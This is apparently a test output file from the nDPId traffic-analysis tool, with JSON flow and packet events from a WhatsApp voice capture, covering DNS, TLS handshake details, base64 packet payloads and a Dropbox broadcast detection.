+00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1561455689728,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":55296,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"media-mxp1-1.cdn.whatsapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":761023,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"kLkxKPrKxiwDYGpkCABFAABbphoAAEARTxrAqAIBwKgCDAA12AAAR3hsM2mBgAABAAEAAAAADG1lZGlhLW14cDEtMQNjZG4Id2hhdHNhcHADbmV0AAABAAHADAABAAEAAABFAAQfDVYz"} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":61,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":1561455689728,"flow_last_seen":1561455689761,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":55,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":55296,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"media-mxp1-1.cdn.whatsapp.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"31.13.86.51"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1561455689909,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.51","src_port":50503,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":909150,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkkLkxKPrKCABFAABAAABAAEAGAsTAqAIMHw1WM8VHAbtOnG1kAAAAALDC\/\/9BlgAAAgQFtAEDAwcBAQgKNM4E3wAAAAAEAgAA"} +00436{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":928899,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kLkxKPrKxiwDYGpkCABFAAA8AAAAAFQGLsgfDVYzwKgCDAG7xUfuAwj8TpxtZaASbHDC9wAAAgQFeAQCCAqHqaVzNM4E3wEDAwg="} +00424{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":36803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGAtDAqAIMHw1WM8VHAbtOnG1l7gMI\/YAQBAZZdQAAAQEICjTOBV2HqaVz"} +01121{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":39586,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkkLkxKPrKCABFAAI5AABAAEAGAMvAqAIMHw1WM8VHAbtOnG1l7gMI\/YAYBAYvJwAAAQEICjTOBWCHqaVzFgMBAgABAAH8AwNcVCo+6ckxRamHLuTFRhM635aj8rPn5Xsyc8oyNs70zCDheIsHXcZUiMjn0WFeVyeYgqZCpFf+j0FPaajeZJof+QA0EwMTARMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAACIAIAAAHW1lZGlhLW14cDEtMS5jZG4ud2hhdHNhcHAubmV0ABcAAAAjAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAM3QAAAASAAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAsAAgEAADMAJgAkAB0AIGUBEpxLHOCHLdBePKDwToeE+eWXh1GjpLqsIp7hpBQmAC0AAgEBACsACQgDBAMDAwIDAQAKAAoACAAdABcAGAAZABUAlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":67,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1561455689909,"flow_last_seen":1561455690039,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.51","src_port":50503,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsApp","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"media-mxp1-1.cdn.whatsapp.net","ja3":"b92a79ed03c3ff5611abb2305370d3e3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00423{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":55150,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0CsgAAFQGJAgfDVYzwKgCDAG7xUfuAwj9TpxvaoAQAHFafgAAAQEICoeppfc0zgVg"} +02313{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":58075,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgCskAAFQGHpsfDVYzwKgCDAG7xUfuAwj9TpxvaoAQAHGU7wAAAQEICoeppfg0zgVgFgMDAHoCAAB2AwOjzyNHQjOpVvgAif\/8F5WB9m2U0scKnow2LScA2\/aVYiDheIsHXcZUiMjn0WFeVyeYgqZCpFf+j0FPaajeZJof+RMDAAAuACsAAgMEADMAJAAdACA5nxEHCn05\/Ye07pEajb+KCDvivuQkVTABzhNxH4pZLRQDAwABARcDAwP5obHjPldjOIylS0+Xwpe8NgBs43eBM3dIxITUTfptTDNiEB5Eq0rvnM+mOfPCdmgTgQTBzQK8hpmmqbe7NdS62S\/ZuugNetE6eL3lk3qguCRroXHIbV1vyR6JjglAciF4rrgEGkTOFdS1Oh85ZPwfZlJtXJnCnXkOfnwaFTtqIp2vSs887u2XmX5mcidKKal5aNyYWhETi63K9AOOkIQOqicaNIul5dEK6cCF5UMqRtDujk6NZzq7IwbqWADmhPMvnSM7A2l+EOSR0CaMazr82cComYDqc1PUsHe2I1niKsnT0m1bV13AzR+EvM8m0OxMD4lFOtzeiDXkenrkqREyOTi4MlfsrYptn9wRYRV+e63xQXaxh+dVdNVyHXfTD0qsdTX3wHgFwQl3oM6OXEaiyYn+KgXcXwq0ethdNrg08BJH\/8vapxF09PyDshSzAEpTXcEPu+GTbmZnoxjzvnDD18Zw26PohkmdbrlVfCBfPion7RT7C+Kb5UvF05Md5Tyv88FUdj\/VqRuFeEEnHphi\/R49yNc14nHYu4RN+XtOOSCmOwRK\/KBE5LZyV531wsNioyG+mpgfGatM7Tej\/w9lMWDYNl3p48MnFtX4IuCPpJtMt\/7NFVU2KyGybpb+cZXqPqee513o3Bp9uklsEM5Q02zzFMJMLBg8mewlDo+FbF5rjsLV2ebsrguXxpBNl3oHzU5n0lCR1wfayg9+yOdAiAWQ3Oys+AIICdmYtvasLN34LcCjcQD9YHzCzMirdSNF4OcXEtYeyMM5Sy6evWRISUbSiY6nQwyWBkw6bzxYYMb9lWVJNgEdfPpmxhjWDLantpJHGf1ojh8wQGIpRye3GHuhLaMEMVQZ4qbSOgvfn0nY\/CBysFxH7B1Ar3mwKcbisTwK8XJi8AK6+V+r\/\/vPWyG46iraQ7EEr0NABdn16L73zC3c4rUFcGCo3yv6nej46D3DVlZkcihybI8h+tLCp6b1ECWUVmYlINnm0Fxjv\/Rzo1yvYAfLRkl5wor8XK2Fz5nPTdPjLUTFI0X8tPfMr4lQEtr1lsx1uySK500IMrHApEofGX\/hBQdjjXSkQKDb+qcTK7sscfs5Dw5Td9blyzSb6ZftirLtqGt3+4r6Rk7H5mZPRCA0zEuJVUfsoBZY1WnrFNH7JTqWV61uqG1Rg44Yb\/dIwgoql8PDUAeyOTqxTSxsdG5duuR08zKsMhbg9mG2\/yjO7ZaSI9pXuKQqr3PlVwkcZ5\/c+b\/ZY5rbF0DFyRYf+Ya8itNTAp7GZ\/aoxoaK3dQTdA7C6++KMGOuUIeHq6Xpbi\/VSGaTsxQzLetZ0O0VmkUlLT\/RMxfq23QQiWbaeODe9tr3FwMDBe07gSGdhQaI9CSMCNgrecYRo\/+ZQun\/P9l3D4+KLQd\/am5Ukve96RSjpiSxrXHOZDo3MzLFr6eCZenso+tx\/kuRg\/tO6gWleSWfkYD+wyNSXegvt8V\/PxoE9wLtK\/z0QA49nDoK8NElxDHqwqsW7Jct5rqMts\/tuZB4W4+Qwj8h86gLJMpfkBGXRUSFmoixhMPOSOMNmJsNYZA4acZu7dCF\/7UJji6XAk2j1GNbkwpRxJMZ3aXKUN9svBHzCf6Hjdwq6mcXi5kRMkpqnNoBts\/p043tMsLNIewponpI4qPinwhvNic="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":69,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1561455689909,"flow_last_seen":1561455690058,"flow_tot_l4_data_len":2117,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.51","src_port":50503,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WhatsApp","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.3","client_requested_server_name":"media-mxp1-1.cdn.whatsapp.net","ja3":"b92a79ed03c3ff5611abb2305370d3e3","ja3s":"475c9302dc42b2751db9edcac3b74891","unsafe_cipher":0,"cipher":"TLS_CHACHA20_POLY1305_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02324{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":58103,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgCsoAAFQGHpofDVYzwKgCDAG7xUfuAw5pTpxvaoAQAHFX\/QAAAQEICoeppfg0zgVgspFXKOJvplc45DT7iGl7Njpc0oTgqks\/uNS1ZxTmPU\/OA5ByiKjgw3vzNjwDnElCorze7ZipusLc9IlzS62vjRQ1ICsULZ3htyVo9kVh7cyjID5Usi1jTmHBqTUwDiE8zgmSu3MR9zmMn0xcZ8U+NhvXnbzdG6qMKlgYTJ4H+HJMPzTo4cABWBWkB8\/nPBVh0qm30TrAKyUqoS5ls8jrMnHRdCiIuEGO0hQFLRR2UaMXtbHVyZin3TzybUi8V29MOuKqS+vna6wGjhfwmUdat89PvcXgB1KuttQzVf7I9U6RpMzHbH0vqemFj\/Lmh+HcIUlgxcfSSqFvNzO0vzsCg2ARyZW2FdS17wr3Ev0GlrKc\/yvBquaOsMeT5\/lqBkWmjxF+6DRKIRBNWcBwasAnIMBog4iqM1OrW9RKHIAxSY6X0d8RC\/5\/vBvGaISxX\/Jt90NwmfUsPLLsvmBUlzoQpGuCPVExNmBJI8oGRigLfQZLaBjvuqm1PWX19xMKzra7JiswFsZQlUnyumGWmU8oXMqSlO51Ybwtk50OoHZKUaHg4hO4a2trUalXPqf08nIkedcneJeUYSCwpq1ovxW2k\/4glOxTjLLZvDhRwNkxLTrnKXgK+\/3mLeTO\/rIT9urW7+yx8GGdgm+PBJVU2Qz+pt8bHdYKh\/ukX+0BomJj\/3wijT3hcmqQy\/0U8SDMRUBmf1eAkrFt\/2YiJRd0Y4rkURIFPsHyu8C\/ZLMFMorEJ50MXKfHKV7cUuMO\/j2eYgQofQbRfhnhx5d2zxsd7uWvsolHCN675HUyIwSeeKf5TiOKWlcKl3Yd4eNIg+K6rCMTShlp\/HoFxnxb1OcnzX\/VGh38eczFKTSUKya0Iln\/NGH5wduacZbQs0fyEUA5sDMcIKlnMqFP+C+z+OZfFpN8a5aTSlwimf785Dwo9yUQY+5IW8WS0+xoCIhZtJ6fImcpp3ATH4Ng+eRWLEGEbhlC9bbh59Wf6WHqSD38PM9by21tKpALia3ssIiGpL52FO6wjunTeA7hDCAKuTk9zNlkNXbyEYNf9kVXov66Ges4GEwfC43qDvFiBr5XYvo+phi1icSx29Crj4G1uYoYPtF\/CIa0VSNqnyzPWNXreWuFWS\/eBki5rrIR5+fI8\/Osuo2Qr+jMf+UQrGdoZG1mcXjpqDwPMLIb\/DsB\/XscnsHVwT64ZhJbqT9cWOkRb0O5rGm3lieuz9U90M7oDH3iNxPPzqeaXIgd\/R1oqIiGMz5CSYJypVtyd5BFwqP7As0h5PHa6HgP+QVuxkQ+vBAaWxsc2UT\/s8zP31s9pqfqCZjtqTfewmTefdrDoS9c3Hh6VCySGlXFknpXxgEFb3CW9uJo9jk4vUWiDvic8oFl02fCs7L12MgSP3iTWPxFMn70Xb6j8MIFuWhRmczYzkg7PUqqoO2nS7vztmLRn5t\/2X+JwzbnETUu616oL2m3s2TI66qrJpeH\/5Sttpp4dcPFRPuGbdcfb5fvHhfaFq5pv2+gW3YXmG7E9bG++YQQ\/dwEDb\/+wB2sNN9SbIOTi1nTzI4S4Vym0AqeRpR27Y6X0WHzgHNr7S+F1Wn3cLReHFmYwNbg\/+nnxMkuJgCn2Aiu\/sI\/5UlITUSYv6iezugS1Pw2\/d9MdQIqd9L9UbbNEAy\/qj6h8t7NZ\/w693yT6Tid5TCcCO1oAN3HJzOhWQCQIwFcCfVpuREc2vjSrS4XAwMBeVLCCyylGbkyr7jZYWgs8CLnAXX6T\/TFTMmVU\/L9xIBnvx+mQhmeANuFYVEfZwfrJ\/Y+J\/GbSOvz1mMH+14iujJAZ9NRphzX7FOGRk2dgKYOZ87CXWaltMvMaO7vmQk="} +00815{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":58125,"pkt_caplen":349,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":349,"pkt_l4_len":315,"pkt":"kLkxKPrKxiwDYGpkCABFAAFPCssAAFQGIuofDVYzwKgCDAG7xUfuAxPVTpxvaoAYAHFcHAAAAQEICoeppfg0zgVgQ+tPBb7kaYYO+rR6biY\/FBVM+j2A0rn7l59uqzzwyz9IETm4Q4l0DthJst\/l6zOboAPQy9exfAgNfP4EZ\/JbGajAQUBkwZgWHP70oqgcBwGZOYSBtZdU+XnPK1CYTGKoUl\/Yzc05cVrQBp6CrIqx+GBKT+y1i7brTP5WCSjn\/vAJ\/FcB1EuL7kTLeoCNqFHmmSy\/qp\/xoqN4T8\/C9jO+UJF0ToXnckaSMUJB8MnrZLedBkrWQNra3UoTjAL0XqbBCsZHJzlsmm1fHKnLqz12zc2bjAKiYayUlVT+D66uNh0ZY4G5+q9PsIwxKP9+WOWGCQFZk1SIlpakKDWpO8rszSmIytVLOGl04AjQwxLmrghDKqHZj0l2FUMBSQ=="} +00424{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":60632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGAtDAqAIMHw1WM8VHAbtOnG9q7gMT1YAQA\/VMDQAAAQEICjTOBXSHqaX4"} +00425{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":60795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGAtDAqAIMHw1WM8VHAbtOnG9q7gMU8IAQA\/JK9QAAAQEICjTOBXSHqaX4"} +00517{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":206006,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"xiwDYGpkkLkxKPrKCABFAAB0AABAAEAGApDAqAIMHw1WM8VHAbtOnG9q7gMU8IAYBACzCAAAAQEICjTOBbWHqaX4FAMDAAEBFwMDADWsM6fLGVnPxe1K3F\/PXzYHw6XaXuk1HcUo27FCfSzPGwKyANNk\/nyTtBOX6WvVIkfamSbPtg=="} +00491{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":206018,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"xiwDYGpkkLkxKPrKCABFAABiAABAAEAGAqLAqAIMHw1WM8VHAbtOnG+q7gMU8IAYBADIcwAAAQEICjTOBdqHqaX4FwMDACnXGBS6sntI30Kk9drPcEH0G4oDcURKPZSwg10xze6YqxmfWfcU6KaEHw=="} +00488{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":206024,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"xiwDYGpkkLkxKPrKCABFAABfAABAAEAGAqXAqAIMHw1WM8VHAbtOnG\/Y7gMU8IAYBABJjAAAAQEICjTOBdqHqaX4FwMDACYjdj3wqAKYpcG13ZOKKJx3gkqTfyqOT5qGPjlzV13KJTpYv1V98g=="} +00475{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":206029,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"xiwDYGpkkLkxKPrKCABFAABXAABAAEAGAq3AqAIMHw1WM8VHAbtOnHAD7gMU8IAYBAByvAAAAQEICjTOBduHqaX4FwMDAB5qUO0Nd2PEK3Az+rK6dIQHXROEo0d2BW1axL+Od2E="} +00881{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455690,"pkt_ts_usec":206069,"pkt_caplen":402,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":402,"pkt_l4_len":368,"pkt":"xiwDYGpkkLkxKPrKCABFAAGEAABAAEAGAYDAqAIMHw1WM8VHAbtOnHAm7gMU8IAYBAAx3wAAAQEICjTOBduHqaX4FwMDAUsDEPutuKhGTc+1qxRTUxJxtvdrENzR\/VROIBQWysphhGzMGlxJjDEBPuhZAcCSDdVrGpfjK\/QJNgUjD52O8Bl72H1\/Vy8sjByBVOMc1VsZYqRUZjtTfzG50c1T5DZ8mzEx2TWOWqss5AqREgkrtM5Ynarwh50mufxhh7wCloA1XN1gOZJQ+r0Hq4VGqGFi5u5VavGz68w5VX7GOTnCBnfQmKZcu1oWGYi3vYuePFwwQcxIWkwt\/JVUnzs9AUcTP72A6C2elHAomh9EJQ2e48SQrec+uL9AzE3g5Mn9MMUGtBod0ax6NXche9VfuwkxfZFe+Db9PSRM8DGoz1rrIqjYYzL8anf4hCKVF1dWWa3AyrVTi9YLrRV2P2IC4Ws6u00\/wInUUFsC86U0cCMk2wnNFi+SCrGpxAgFsgdISl4GtAmYO9Bq57+acjiO"} +00520{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455693,"pkt_ts_usec":315606,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xiwDYGpkkLkxKPrKCABFAgB5AABAAEAGKYPAqAIMEfI8VMDKFGdIDzP+7pIeZYAYCADZwAAAAQEICjTOBFg8s01+FwMDAEC+4ca82mxfgqL0M+jKmHCJENEAGUWdgR0YVkDDwjAaHB0ws79emtobbKfA5f7P5v+FiwA6ZnqSa8M+APsSqNHf"} +00500{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455693,"pkt_ts_usec":340306,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"kLkxKPrKxiwDYGpkCABFAgBpTxwAADEGKXcR8jxUwKgCDBRnwMrukh5lSA80Q4AYAZkAkwAAAQEICjyzYXU0zgRYFwMDADDwCq2t8tv2Nubh7K7Zs7SXKW9oP5b\/dRRCT4JlE+XMfzbIWgBqJ9qCooLqBSPC2qE="} +00426{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455693,"pkt_ts_usec":353289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGKcrAqAIMEfI8VMDKFGdIDzRD7pIemoAQB\/8nUwAAAQEICjTOBMk8s2F1"} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":141,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1561455688445,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":181,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1561455701309,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00861{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455701,"pkt_ts_usec":309996,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAFxXcMAAEARlWjAqAIBwKgC\/0RcRFwBXbU+eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxNzQ1NjcxOTM5MjIwMTQ2OTg4Njg4NzAzNTEyMjAyNTg3OTI0NDMsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODA5NDIwMDQ4LCA1MTE3MDY2NDIsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA0ODEwNTkxNzYwLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAzMDc1NTIxNjk2LCA0MDU2NDYyNTkyLCAyOTYzNjgyMDk2LCAxNTIyMTc3NTg3XX0="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":181,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1561455701309,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} 